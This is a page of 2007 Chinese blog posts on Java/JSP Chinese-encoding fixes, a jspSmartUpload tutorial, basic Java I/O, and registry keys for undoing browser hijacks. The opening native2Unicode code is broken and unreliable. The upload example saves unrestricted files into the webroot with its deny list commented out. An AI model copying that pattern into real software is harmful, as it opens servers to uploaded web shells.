    String    native2Unicode(String    s)    {  
    if    (s    ==    null    ||    s.length()    ==    0)    {  
    return    null;  
    }  
    byte[]    buffer    =    new    byte[s.length()];  
    for    (int    i    =    0;    i    s.length();    i++)    {    if    (s.charAt(i)>=    0x100)    {  
    c    =    s.charAt(i);  
    byte    []buf    =    (“”+c).getBytes();  
    buffer[j++]    =    (char)buf[0];  
    buffer[j++]    =    (char)buf[1];  
    }  
    else    {buffer[j++]    =    s.charAt(i);}  
    }  
    return    new    String(buffer,    0,    j);  
    }  
    要注意的是,有些JDBC    Driver如果通过JDBC    Driver    Manager设置了正确的字符集属性,以上方法

    就不需要了。具体情况可参考相关JDBC的资料。  
    其实理解了,中文乱码就这么一回事!反复使用就会摸出一定的门道了!我觉得以上的三种方法,只要你

    真的能弄懂,在遇到中文问题时,在这三种方法多试尝,我保证你不再会使这种中文问题所烦!
    以上只是自己的一些经验所谈,如果有什么不对,希望能提出,共同学习!   

    //////////////////////////////////////////////////////////////////////////////////////////



    我的乱码之路——JSP与MySQL交互的中文乱码解决方案及总结
           首先实现了一个StringConvert bean(GBtoISO()和ISOtoGB()两个方法),解决了与MySQL数据库

    交互的时候的部分中文乱码问题:在JSP程序中读取MySQL的中文内容,用这两个方法可以解决乱码问题



          但是从JSP写入到MySQL的中文内容都成了乱码,并且再读出来的时候也显示为“??”,在这里应

    该出现了编码转换过程中的字符信息丢失。郁闷的是,我在命令行窗口中登陆到MySQL后,执行如

    “Insert INTO customerVALUES('字符',...)”这样的语句时,写入到数据表中的中文内容又是显示正

    常的!!!数据库使用的字符集是utf8。

         

           碰壁多次,终于发现一条解决问题的路径:查看MySQL手册的时候,看到一条这样的语句:

    Toallow multiple character sets to be sent from the client, the "UTF-8"encoding should be

    used, either by configuring "utf8" as the defaultserver character set, or by configuring

    the JDBC driver to use "UTF-8"through the characterEncoding property.

         

           此外,在查阅《MySQL权威指南》时,发现在查询语句中可以使用这样的语法将字符串转换到一个

    给定的字符集:_charset str。

           其中charset必须是服务器支持的某个字符集。在本例中,shopdb数据库使用的默认字符集是utf8

    ,于是开始测试:

           先输入Insert INTO publish Values('8',_gb2312 '高等教育出版社')    写入后中文变成“??



           再试Insert INTO publish Values('8',_gbk '高等教育出版社') 结果同上

           Insert INTO publish Values('8',_utf8 '高等教育出版社') 这下更干脆,什么都没有!!

         

             快疯了!!没办法,用show character set;命令查看MySQL支持的字符集,心想我都试一遍总

    有一个能成功吧。浏览了一下,发现没有几个熟悉的字符集,就只剩下一个latin1(ISO-8859-1)比较常

    见了,不会是它吧,一试之下果然便是。

           Insert INTO publish Values('8',_latin1 '高等教育出版社') 输入中文能够正确显示。

         

             这下总算找到方法了,把Tomcat下配置的数据库连接池的url改为

    ”...characterEncoding=UTF-8”,然后把写入数据库的中文内容用

           String s2 = new String(s1.getBytes("gb2312"),"ISO-8859-1")进行转码,其中s1为中文字符

    串.然后再写入到数据库一切显示正常。

         

             为解决这个问题查看了n多资料,现作一个总结:由于字符集和字符编码方式的不同,在OS以

    及程序之间传递数据(尤其是multiple character sets中的数据)时便会产生乱码以及字符信息的丢

    失.解决这个问题的关键便是了解数据输出端和接收端使用的字符集和字符编码方式,如果这两种编码

    方式不同,便需要在数据出口或入口处进行 转码。一般的说,在编写代码,编译,以及运行期间都会字

    符数据的传递,因此需要特别小心。

            在编写代码的时候,你可能会使用某种开发工具,例如我正在使用的Eclipse.或许在写的时候

    一切正常,可是一旦保存后再次打开文档,所有的中文字符都变成了乱码。这是因为在编写的时候,这

    些字符数据都在内存的某个stream中,ok,这没问题,可是保存的时候这个stream中的数据会被写入到

    硬盘,使用的就是你的开发工具默认的编码方式,如果很不幸你的开发工具默认编码方式是ISO-8859-1

    ,中文字符信息就不能正确地存储。Eclipse中可以这样查看并修改默认字符编码方式:Project-

    >Properties->info,这里有”default encoding for text file”。如果设置为GBK,那么编写代码

    并保存这关就过了。

            对于JSP程序而言,编写完代码后就交给Container,首先它们会被转成.java文件,然后编译成

    .class才能提交给服务器执行.这个过程也存在字符编码问题.java编译器(javac)使用操作系统的语

    言环境作为默认的字符编码方式,JRE(Java Runtime Environment)也是这样。只有当编译和运行环境

    的字符编码方式与存储源文件的编码方式相同时,中文字符才能正确地显示。否则就需要在运行时进行

    转码,使它们使用兼容的编码。这里的设置可以分为几个层次:操作系统层支持的语言,这是最重要的

    ,因为它会影响JVM的默认字符编码方式,同时对字符的显示,如字体等有直接影响;J2EE服务器层

    ,大多数服务器都可以对字符编码进行自定义的配置,例如Tomcat就可以通过web.xml中设置

    javaEncoding参数设置字符编码,默认是UTF-8.

           IE也可以设置成总是使用UTF-8编码来发送请求.应用程序层,每个配置在服务器下的程序都可以

    设置自己的编码方式,这个我目前还没有用到,以后再学习。

           运行时的转码,运行时期,应用程序很可能需要与外部系统进行交互,例如对数据库进行读写

    ,对外部文件进行读写.在这些情况下,应用程序免不了要和外部系统进行数据交换。那么对于中文字

    符, 数据出入口的编码方式就显得特别重要了。一般外部系统都有自己的字符编码方式,我的例子中

    配置的MySQL就是使用的UTF-8编码。JSP页面通过设定”charset=gb2312”,

          使用gb2312编码,在它与数据库交互的时候就需要进行显式的转码才能正确处理中文字符。
    posted @ 2007-07-22 02:19 jadmin 阅读(58) | 评论 (0)编辑 收藏


    一、安装篇

      jspSmartUpload是由www.jspsmart.com网站开发的一个可免费使用的全功能的文件上传下载组件,适于嵌入执行上传下载操作的JSP文件中。该组件有以下几个特点:

    1、使用简单。在JSP文件中仅仅书写三五行JAVA代码就可以搞定文件的上传或下载,方便。

    2、能全程控制上传。利用jspSmartUpload组件提供的对象及其操作方法,可以获得全部上传文件的信息(包括文件名,大小,类型,扩展名,文件数据等),方便存取。

    3、能对上传的文件在大小、类型等方面做出限制。如此可以滤掉不符合要求的文件。

    4、下载灵活。仅写两行代码,就能把Web服务器变成文件服务器。不管文件在Web服务器的目录下或在其它任何目录下,都可以利用jspSmartUpload进行下载。

    5、能将文件上传到数据库中,也能将数据库中的数据下载下来。这种功能针对的是MYSQL数据库,因为不具有通用性,所以本文不准备举例介绍这种用法。

      jspSmartUpload组件可以从www.jspsmart.com网站上自由下载,压缩包的名字是jspSmartUpload.zip。下载后,用WinZip或WinRAR将其解压到Tomcat的webapps目录下(本文以Tomcat服务器为例进行介绍)。解压后,将webapps/jspsmartupload目录下的子目录Web-inf名字改为全大写的WEB-INF,这样一改jspSmartUpload类才能使用。因为Tomcat对文件名大小写敏感,它要求Web应用程序相关的类所在目录为WEB-INF,且必须是大写。接着重新启动Tomcat,这样就可以在JSP文件中使用jspSmartUpload组件了。

      注意,按上述方法安装后,只有webapps/jspsmartupload目录下的程序可以使用jspSmartUpload组件,如果想让Tomcat服务器的所有Web应用程序都能用它,必须做如下工作:

    1.进入命令行状态,将目录切换到Tomcat的webapps/jspsmartupload/WEB-INF目录下。

    2.运行JAR打包命令:jar cvf jspSmartUpload.jar com

    (也可以打开资源管理器,切换到当前目录,用WinZip将com目录下的所有文件压缩成jspSmartUpload.zip,然后将jspSmartUpload.zip换名为jspSmartUpload.jar文件即可。)

    3.将jspSmartUpload.jar拷贝到Tomcat的shared/lib目录下。

    二、相关类说明篇

    ㈠ File类

      这个类包装了一个上传文件的所有信息。通过它,可以得到上传文件的文件名、文件大小、扩展名、文件数据等信息。

      File类主要提供以下方法:

    1、saveAs作用:将文件换名另存。

    原型:

    public void saveAs(java.lang.String destFilePathName)

    public void saveAs(java.lang.String destFilePathName, int optionSaveAs)

    其中,destFilePathName是另存的文件名,optionSaveAs是另存的选项,该选项有三个值,分别是SAVEAS_PHYSICAL,SAVEAS_VIRTUAL,SAVEAS_AUTO。SAVEAS_PHYSICAL表明以操作系统的根目录为文件根目录另存文件,SAVEAS_VIRTUAL表明以Web应用程序的根目录为文件根目录另存文件,SAVEAS_AUTO则表示让组件决定,当Web应用程序的根目录存在另存文件的目录时,它会选择SAVEAS_VIRTUAL,否则会选择SAVEAS_PHYSICAL。

    例如,saveAs("/upload/sample.zip",SAVEAS_PHYSICAL)执行后若Web服务器安装在C盘,则另存的文件名实际是c:\upload\sample.zip。而saveAs("/upload/sample.zip",SAVEAS_VIRTUAL)执行后若Web应用程序的根目录是webapps/jspsmartupload,则另存的文件名实际是webapps/jspsmartupload/upload/sample.zip。saveAs("/upload/sample.zip",SAVEAS_AUTO)执行时若Web应用程序根目录下存在upload目录,则其效果同saveAs("/upload/sample.zip",SAVEAS_VIRTUAL),否则同saveAs("/upload/sample.zip",SAVEAS_PHYSICAL)。

    建议:对于Web程序的开发来说,最好使用SAVEAS_VIRTUAL,以便移植。

    2、isMissing

    作用:这个方法用于判断用户是否选择了文件,也即对应的表单项是否有值。选择了文件时,它返回false。未选文件时,它返回true。

    原型:public boolean isMissing()

    3、getFieldName

    作用:取HTML表单中对应于此上传文件的表单项的名字。

    原型:public String getFieldName()

    4、getFileName

    作用:取文件名(不含目录信息)

    原型:public String getFileName()

    5、getFilePathName

    作用:取文件全名(带目录)

    原型:public String getFilePathName

    6、getFileExt

    作用:取文件扩展名(后缀)

    原型:public String getFileExt()

    7、getSize

    作用:取文件长度(以字节计)

    原型:public int getSize()

    8、getBinaryData

    作用:取文件数据中指定位移处的一个字节,用于检测文件等处理。

    原型:public byte getBinaryData(int index)。其中,index表示位移,其值在0到getSize()-1之间。

    ㈡ Files类

      这个类表示所有上传文件的集合,通过它可以得到上传文件的数目、大小等信息。有以下方法:

    1、getCount

    作用:取得上传文件的数目。

    原型:public int getCount()

    2、getFile

    作用:取得指定位移处的文件对象File(这是com.jspsmart.upload.File,不是java.io.File,注意区分)。

    原型:public File getFile(int index)。其中,index为指定位移,其值在0到getCount()-1之间。

    3、getSize

    作用:取得上传文件的总长度,可用于限制一次性上传的数据量大小。

    原型:public long getSize()

    4、getCollection

    作用:将所有上传文件对象以Collection的形式返回,以便其它应用程序引用,浏览上传文件信息。

    原型:public Collection getCollection()

    5、getEnumeration

    作用:将所有上传文件对象以Enumeration(枚举)的形式返回,以便其它应用程序浏览上传文件信息。

    原型:public Enumeration getEnumeration()

    ㈢ Request类

      这个类的功能等同于JSP内置的对象request。只所以提供这个类,是因为对于文件上传表单,通过request对象无法获得表单项的值,必须通过jspSmartUpload组件提供的Request对象来获取。该类提供如下方法:

    1、getParameter

    作用:获取指定参数之值。当参数不存在时,返回值为null。

    原型:public String getParameter(String name)。其中,name为参数的名字。

    2、getParameterValues

    作用:当一个参数可以有多个值时,用此方法来取其值。它返回的是一个字符串数组。当参数不存在时,返回值为null。

    原型:public String[] getParameterValues(String name)。其中,name为参数的名字。

    3、getParameterNames

    作用:取得Request对象中所有参数的名字,用于遍历所有参数。它返回的是一个枚举型的对象。

    原型:public Enumeration getParameterNames()

    ㈣ SmartUpload类这个类完成上传下载工作。

    A.上传与下载共用的方法:

    只有一个:initialize。

    作用:执行上传下载的初始化工作,必须第一个执行。

    原型:有多个,主要使用下面这个:

    public final void initialize(javax.servlet.jsp.PageContext pageContext)

    其中,pageContext为JSP页面内置对象(页面上下文)。

    B.上传文件使用的方法:

    1、upload

    作用:上传文件数据。对于上传操作,第一步执行initialize方法,第二步就要执行这个方法。

    原型:public void upload()

    2、save

    作用:将全部上传文件保存到指定目录下,并返回保存的文件个数。

    原型:public int save(String destPathName)

    和public int save(String destPathName,int option)

    其中,destPathName为文件保存目录,option为保存选项,它有三个值,分别是SAVE_PHYSICAL,SAVE_VIRTUAL和SAVE_AUTO。(同File类的saveAs方法的选项之值类似)SAVE_PHYSICAL指示组件将文件保存到以操作系统根目录为文件根目录的目录下,SAVE_VIRTUAL指示组件将文件保存到以Web应用程序根目录为文件根目录的目录下,而SAVE_AUTO则表示由组件自动选择。

    注:save(destPathName)作用等同于save(destPathName,SAVE_AUTO)。

    3、getSize

    作用:取上传文件数据的总长度

    原型:public int getSize()

    4、getFiles

    作用:取全部上传文件,以Files对象形式返回,可以利用Files类的操作方法来获得上传文件的数目等信息。

    原型:public Files getFiles()

    5、getRequest

    作用:取得Request对象,以便由此对象获得上传表单参数之值。

    原型:public Request getRequest()

    6、setAllowedFilesList

    作用:设定允许上传带有指定扩展名的文件,当上传过程中有文件名不允许时,组件将抛出异常。

    原型:public void setAllowedFilesList(String allowedFilesList)

    其中,allowedFilesList为允许上传的文件扩展名列表,各个扩展名之间以逗号分隔。如果想允许上传那些没有扩展名的文件,可以用两个逗号表示。例如:setAllowedFilesList("doc,txt,,")将允许上传带doc和txt扩展名的文件以及没有扩展名的文件。

    7、setDeniedFilesList

    作用:用于限制上传那些带有指定扩展名的文件。若有文件扩展名被限制,则上传时组件将抛出异常。

    原型:public void setDeniedFilesList(String deniedFilesList)

    其中,deniedFilesList为禁止上传的文件扩展名列表,各个扩展名之间以逗号分隔。如果想禁止上传那些没有扩展名的文件,可以用两个逗号来表示。例如:setDeniedFilesList("exe,bat,,")将禁止上传带exe和bat扩展名的文件以及没有扩展名的文件。

    8、setMaxFileSize

    作用:设定每个文件允许上传的最大长度。

    原型:public void setMaxFileSize(long maxFileSize)

    其中,maxFileSize为为每个文件允许上传的最大长度,当文件超出此长度时,将不被上传。

    9、setTotalMaxFileSize

    作用:设定允许上传的文件的总长度,用于限制一次性上传的数据量大小。

    原型:public void setTotalMaxFileSize(long totalMaxFileSize)

    其中,totalMaxFileSize为允许上传的文件的总长度。

    1、setContentDisposition

    作用:将数据追加到MIME文件头的CONTENT-DISPOSITION域。jspSmartUpload组件会在返回下载的信息时自动填写MIME文件头的CONTENT-DISPOSITION域,如果用户需要添加额外信息,请用此方法。

    原型:public void setContentDisposition(String contentDisposition)

    其中,contentDisposition为要添加的数据。如果contentDisposition为null,则组件将自动添加"attachment;",以表明将下载的文件作为附件,结果是IE浏览器将会提示另存文件,而不是自动打开这个文件(IE浏览器一般根据下载的文件扩展名决定执行什么操作,扩展名为doc的将用word程序打开,扩展名为pdf的将用acrobat程序打开,等等)。

    2、downloadFile

    作用:下载文件。

    原型:共有以下三个原型可用,第一个最常用,后两个用于特殊情况下的文件下载(如更改内容类型,更改另存的文件名)。

    ① public void downloadFile(String sourceFilePathName)

    其中,sourceFilePathName为要下载的文件名(带目录的文件全名)

    ② public void downloadFile(String sourceFilePathName,String contentType)

    其中,sourceFilePathName为要下载的文件名(带目录的文件全名),contentType为内容类型(MIME格式的文件类型信息,可被浏览器识别)。

    ③ public void downloadFile(String sourceFilePathName,String contentType,String destFileName)

    其中,sourceFilePathName为要下载的文件名(带目录的文件全名),contentType为内容类型(MIME格式的文件类型信息,可被浏览器识别),destFileName为下载后默认的另存文件名。

    三、文件上传篇

    ㈠ 表单要求

    对于上传文件的FORM表单,有两个要求:

    1、METHOD应用POST,即METHOD="POST"。

    2、增加属性:ENCTYPE="multipart/form-data"

    下面是一个用于上传文件的FORM表单的例子:

    <FORM METHOD="POST" ENCTYPE="multipart/form-data"
    ACTION="/jspSmartUpload/upload.jsp">
    <INPUT TYPE="FILE" NAME="MYFILE">
    <INPUT TYPE="SUBMIT">
    </FORM>


    ㈡ 上传的例子

    1、上传页面upload.html

    本页面提供表单,让用户选择要上传的文件,点击"上传"按钮执行上传操作。

    页面源码如下:

    <!--
         文件名:upload.html
    作   者:纵横软件制作中心雨亦奇(zhsoft88@sohu.com)
    -->
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>文件上传</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head>

    <body>
    <p> </p>
    <p align="center">上传文件选择</p>
    <FORM METHOD="POST" ACTION="jsp/do_upload.jsp"
    ENCTYPE="multipart/form-data">
    <input type="hidden" name="TEST" value="good">
       <table width="75%" border="1" align="center">
         <tr>
           <td><div align="center">1、
               <input type="FILE" name="FILE1" size="30">
        &nbsp;     </div></td>
    </tr>
         <tr>
           <td><div align="center">2、
               <input type="FILE" name="FILE2" size="30">
             </div></td>
         </tr>
         <tr>
           <td><div align="center">3、
               <input type="FILE" name="FILE3" size="30">
             </div></td>
         </tr>
         <tr>
           <td><div align="center">4、
               <input type="FILE" name="FILE4" size="30">
             </div></td>
         </tr>
         <tr>
           <td><div align="center">
               <input type="submit" name="Submit" value="上传它!">
             </div></td>
         </tr>
       </table>
    </FORM>
    </body>
    </html>


    2、上传处理页面do_upload.jsp

    本页面执行文件上传操作。页面源码中详细介绍了上传方法的用法,在此不赘述了。

    页面源码如下:

    <%--
    文件名:do_upload.jsp
    作   者:纵横软件制作中心雨亦奇(zhsoft88@sohu.com)
    --%>
    <%@ page contentType="text/html; charset=gb2312" language="java"
    import="java.util.*,com.jspsmart.upload.*" errorPage="" %>
    <html>
    <head>
    <title>文件上传处理页面</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head>

    <body>
    <%
    // 新建一个SmartUpload对象
    SmartUpload su = new SmartUpload();
    // 上传初始化
    su.initialize(pageContext);
    // 设定上传限制
    // 1.限制每个上传文件的最大长度。
    // su.setMaxFileSize(10000);
    // 2.限制总上传数据的长度。
    // su.setTotalMaxFileSize(20000);
    // 3.设定允许上传的文件(通过扩展名限制),仅允许doc,txt文件。
    // su.setAllowedFilesList("doc,txt");
    // 4.设定禁止上传的文件(通过扩展名限制),禁止上传带有exe,bat,
    jsp,htm,html扩展名的文件和没有扩展名的文件。
    // su.setDeniedFilesList("exe,bat,jsp,htm,html,,");
    // 上传文件
    su.upload();
    // 将上传文件全部保存到指定目录
    int count = su.save("/upload");
    out.println(count+"个文件上传成功!<br>");

    // 利用Request对象获取参数之值
    out.println("TEST="+su.getRequest().getParameter("TEST")
    +"<BR><BR>");

    // 逐一提取上传文件信息,同时可保存文件。
    for (int i=0;i<su.getFiles().getCount();i++)
    {
    com.jspsmart.upload.File file = su.getFiles().getFile(i);

    // 若文件不存在则继续
    if (file.isMissing()) continue;

    // 显示当前文件信息
    out.println("<TABLE BORDER=1>");
    out.println("<TR><TD>表单项名(FieldName)</TD><TD>"
    + file.getFieldName() + "</TD></TR>");
    out.println("<TR><TD>文件长度(Size)</TD><TD>" +
    file.getSize() + "</TD></TR>");
    out.println("<TR><TD>文件名(FileName)</TD><TD>"
    + file.getFileName() + "</TD></TR>");
    out.println("<TR><TD>文件扩展名(FileExt)</TD><TD>"
    + file.getFileExt() + "</TD></TR>");
    out.println("<TR><TD>文件全名(FilePathName)</TD><TD>"
    + file.getFilePathName() + "</TD></TR>");
    out.println("</TABLE><BR>");

    // 将文件另存
    // file.saveAs("/upload/" + myFile.getFileName());
    // 另存到以WEB应用程序的根目录为文件根目录的目录下
    // file.saveAs("/upload/" + myFile.getFileName(),
    su.SAVE_VIRTUAL);
    // 另存到操作系统的根目录为文件根目录的目录下
    // file.saveAs("c:\\temp\\" + myFile.getFileName(),
    su.SAVE_PHYSICAL);

    }
    %>
    </body>
    </html>


    四、文件下载篇

    1、下载链接页面download.html

    页面源码如下:

    <!--
    文件名:download.html
    作   者:纵横软件制作中心雨亦奇(zhsoft88@sohu.com)
    -->
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>下载</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head>
    <body>
    <a href="jsp/do_download.jsp">点击下载</a>
    </body>
    </html>


    2、下载处理页面do_download.jsp do_download.jsp展示了如何利用jspSmartUpload组件来下载文件,从下面的源码中就可以看到,下载何其简单。

    源码如下:

    <%@ page contentType="text/html;charset=gb2312"
    import="com.jspsmart.upload.*" %><%
    // 新建一个SmartUpload对象
    SmartUpload su = new SmartUpload();
    // 初始化
    su.initialize(pageContext);
    // 设定contentDisposition为null以禁止浏览器自动打开文件,
    //保证点击链接后是下载文件。若不设定,则下载的文件扩展名为
    //doc时,浏览器将自动用word打开它。扩展名为pdf时,
    //浏览器将用acrobat打开。
    su.setContentDisposition(null);
    // 下载文件
    su.downloadFile("/upload/如何赚取我的第一桶金.doc");
    %>


    注意,执行下载的页面,在Java脚本范围外(即<% ... %>之外),不要包含HTML代码、空格、回车或换行等字符,有的话将不能正确下载。不信的话,可以在上述源码中%><%之间加入一个换行符,再下载一下,保证出错。因为它影响了返回给浏览器的数据流,导致解析出错。

    3、如何下载中文文件

    jspSmartUpload虽然能下载文件,但对中文支持不足。若下载的文件名中有汉字,则浏览器在提示另存的文件名时,显示的是一堆乱码,很扫人兴。上面的例子就是这样。(这个问题也是众多下载组件所存在的问题,很少有人解决,搜索不到相关资料,可叹!)

    为了给jspSmartUpload组件增加下载中文文件的支持,我对该组件进行了研究,发现对返回给浏览器的另存文件名进行UTF-8编码后,浏览器便能正确显示中文名字了。这是一个令人高兴的发现。于是我对jspSmartUpload组件的SmartUpload类做了升级处理,增加了toUtf8String这个方法,改动部分源码如下:

    public void downloadFile(String s, String s1, String s2, int i)
    throws ServletException, IOException, SmartUploadException
         {
    if(s == null)
         throw new IllegalArgumentException("File ''" + s +
         "'' not found (1040).");
    if(s.equals(""))
         throw new IllegalArgumentException("File ''" + s +
         "'' not found (1040).");
    if(!isVirtual(s) && m_denyPhysicalPath)
         throw new SecurityException("Physical path is
         denied (1035).");
    if(isVirtual(s))
         s = m_application.getRealPath(s);
    java.io.File file = new java.io.File(s);
    FileInputStream fileinputstream = new FileInputStream(file);
    long l = file.length();
    boolean flag = false;
    int k = 0;
    byte abyte0[] = new byte[i];
    if(s1 == null)
         m_response.setContentType("application/x-msdownload");
    else
    if(s1.length() == 0)
         m_response.setContentType("application/x-msdownload");
    else
         m_response.setContentType(s1);
    m_response.setContentLength((int)l);
    m_contentDisposition = m_contentDisposition != null ?
    m_contentDisposition : "attachment;";
    if(s2 == null)
         m_response.setHeader("Content-Disposition",
         m_contentDisposition + " filename=" +
         toUtf8String(getFileName(s)));
    else
    if(s2.length() == 0)
         m_response.setHeader("Content-Disposition",
         m_contentDisposition);
    else
         m_response.setHeader("Content-Disposition",
         m_contentDisposition + " filename=" + toUtf8String(s2));
    while((long)k < l)
    {
         int j = fileinputstream.read(abyte0, 0, i);
         k += j;
         m_response.getOutputStream().write(abyte0, 0, j);
    }
    fileinputstream.close();
         }

         /**
          * 将文件名中的汉字转为UTF8编码的串,以便下载时能正确显示另存的文件名.
          * 纵横软件制作中心雨亦奇2003.08.01
          * @param s 原文件名
          * @return 重新编码后的文件名
          */
         public static String toUtf8String(String s) {
    StringBuffer sb = new StringBuffer();
    for (int i=0;i<s.length();i++) {
         char c = s.charAt(i);
         if (c >= 0 && c <= 255) {
    sb.append(c);
         } else {
    byte[] b;
    try {
         b = Character.toString(c).getBytes("utf-8");
    } catch (Exception ex) {
         System.out.println(ex);
         b = new byte[0];
    }
    for&nbsp;(int j = 0; j < b.length; j++) {
    int k = b[j];
         if (k < 0) k += 256;
         sb.append("%" + Integer.toHexString(k).
         toUpperCase());
    }
         }
    }
    return sb.toString();
         }


    注意源码中粗体部分,原jspSmartUpload组件对返回的文件未作任何处理,现在做了编码的转换工作,将文件名转换为UTF-8形式的编码形式。UTF-8编码对英文未作任何处理,对中文则需要转换为%XX的形式。toUtf8String方法中,直接利用Java语言提供的编码转换方法获得汉字字符的UTF-8编码,之后将其转换为%XX的形式。

    将源码编译后打包成jspSmartUpload.jar,拷贝到Tomcat的shared/lib目录下(可为所有WEB应用程序所共享),然后重启Tomcat服务器就可以正常下载含有中文名字的文件了。另,toUtf8String方法也可用于转换含有中文的超级链接,以保证链接的有效,因为有的WEB服务器不支持中文链接。

    小结:jspSmartUpload组件是应用JSP进行B/S程序开发过程中经常使用的上传下载组件,它使用简单,方便。现在我又为其加上了下载中文名字的文件的支持,真个是如虎添翼,必将赢得更多开发者的青睐。

    posted @ 2007-07-17 16:06 jadmin 阅读(61) | 评论 (0)编辑 收藏

    要servlet里面支持中文的方法:

    在dopost或者doget的第一句加上:

    request.setCharacterEncoding("GB2312");
    response.setCharacterEncoding("GB2312");

    在jsp里面就把

    <%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>

    里设置成charset=gb2312

    如果这样还不行,就只有在取出中文后(getParameter)强制转换了:

    String str=new String(request.getParameter("text").getBytes("ISO-8859-1"),"GB2312");

    很不错的方法,因为在java里面,乱码是个大问题,这些一定要铭记!

    posted @ 2007-07-17 16:02 jadmin 阅读(74) | 评论 (0)编辑 收藏

    //用命令行参数

    import java.io.*;
    public class AddArgs
    {
        public static void main(String args[]) throws IOException
          {
            int sum;
            try
             {
                sum = Integer.parseInt(args[0])+Integer.parseInt(args[1]);  
                System.out.println("两参数的和是:"+sum);   
             }
            catch (Exception e)
             {  
                System.out.println("参数出现错误!");
             }
        
          }
    }

    =========================================================

    //用system.in
    import java.io.*;
    public class AddInput
    {
        public static void main(String args[]) throws IOException
          {
            BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
            int x=0,y=0;
            try{
              System.out.println("请输入第一个整数:");
              x=Integer.parseInt(br.readLine());
              System.out.println("请输入第二个整数:");
              y=Integer.parseInt(br.readLine());
              System.out.println("它们的和是:"+(x+y));            
            }
            catch (Exception e)
            {
              System.out.println("输入有错误,请重新运行!");
             }
          }
    }

    =========================================================

    //用scanner
    import java.io.*;
    import java.util.*;
    public class AddScanner
    {
        public static void main(String args[]) throws IOException
        {
            Scanner sc=new Scanner(System.in);
            int x=0,y=0;
            try
            {
              System.out.println("请输入第一个整数:");
              x=sc.nextInt();
              System.out.println("请输入第二个整数:");
              y=sc.nextInt();
              System.out.println("它们的和是:"+(x+y));            
            }
            catch (Exception e)
            {
              System.out.println("输入有错误,请重新运行!");
            }
        }
    }

    posted @ 2007-07-17 00:03 jadmin 阅读(106) | 评论 (0)编辑 收藏

    输入流FileInputStream和输出流 FileOutputStream,实现的是对磁盘文件的顺序读写,而且读写要分别创建不同对象。相比之下RandomAccessFile类则可对文件实现随机读写操作。

    RandomAccessFile对象的文件位置指针遵循下面的规律:

    ·新建RandomAccessFile对象的文件位置指针位于文件的开头处;

    ·每次读写操作之后,文件位置的指针都相应后移到读写的字节数;

    ·可以通过getFilePointer方法来获得文件位置指针的位置,通过seek方法来设置文件指针的位置。

    RandomAccessFile例子:

    package net;
    import java.io.*;

    class RandomAccessFileDemo
    {
        
    public static void main(String args[]) throws IOException
         {
            
    //以读和写的方式创建RandomAccessFile对象
             RandomAccessFile f=new RandomAccessFile("myfile","rw");
             System.out.println(
    "File length:"+(f.length())+"B");
             System.out.println(
    "File Pointer Position:"+f.getFilePointer());
           
    //下面从文件末尾处开始写数据
            f.seek(f.length());
            f.writeBoolean(
    true);
            f.writeBoolean(
    false);
            f.writeChar(
    'a');
            f.writeChars(
    "Hello!!");
            System.out.println(
    "File length:"+(f.length())+"B");
           
    //下面从文件起始处开始读数据
            f.seek(0);
            System.out.println(
    "kkk::"+f.readBoolean());
            System.out.println(
    "kkk::"+f.readBoolean());
           
    while(f.getFilePointer()<f.length())
            {
                System.out.println(f.readLine());
            }
            f.close();
         }
    }
    posted @ 2007-07-16 22:53 jadmin 阅读(88) | 评论 (0)编辑 收藏

        最近经常有人问及在上网时,被恶意网站修改注册表的问题,我整理了几种常见的问题及解决办法,供大家参考,希望对大家有所帮助。

         1.修改IE的标题栏和IE默认连接首页:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\Main HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main在注册表中找到以上两处主键,将其下的“Window Title”主键改为“IE浏览器”等你喜欢的名字,并关闭所有打开的IE浏览器窗口再重新打开就能看到效果。找到串值“Start Page”, 改为自己喜欢的网址即可。

         重启以后又会变成了别人的网址的解决办法:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Current Version\\Run主键,然后将其下的registry.exe子键删除,然后删除自运行程序c:\\Program Files\\registry.exe,最后从IE选项中重新设置起始页就好了。

         改回IE的默认页:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\ Main\\Default_Page_URL“Default_Page_URL”这个子键的键值即起始页的默认页。

         2.修改IE的首页:开始,运行,键入msconfig点击“确定”,在弹出的窗口中切换到“启动”选项卡,禁用可疑程序启动项。

         3. 系统启动时弹出对话框,点确定才能进去:方法(1):HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon在注册表中找到此主键,“LegalNoticeCaption”是提示框的标题,“LegalNoticeText”是提示框的文本内容。删除这两个字符串即可。

         方法(2):对win2000或winxp:点击“安全与多用户”,再点击左上角的“+”切换窗口后,清除“启动时要显示的标题”和“启动时要显示的信息”两项内容即可。

         方法(3):看看run.

         4.修改IE鼠标右键菜单里显示网页广告:HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt

         5. IE首页解锁:[HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel], 一般此键是不存在的, 只存在[HKEY_CURRENT_USER\\Software\\Policies\\Microsoft], 所以后面一截要自己建立, 主键建立完后在Control Panel键下新建一个DWORD值数据, 键名为HOMEPAGE(不分大小写), 键值为0. 此时再打开IE属性时可以发现它改首页设置的部分已经可用了。

         IE设置项解锁:[HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Pan el]"Settings"=dword:1 [HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Pan el]"Links"=dword:1 [HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Pan el]"SecAddSites"=dword:1将上面这些DWORD值改为“0”即可恢复功能。

         IE的默认首页灰色按扭不可选:HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Pan下的DWORD值“homepage”的键值修改为“0” “即可恢复功能。

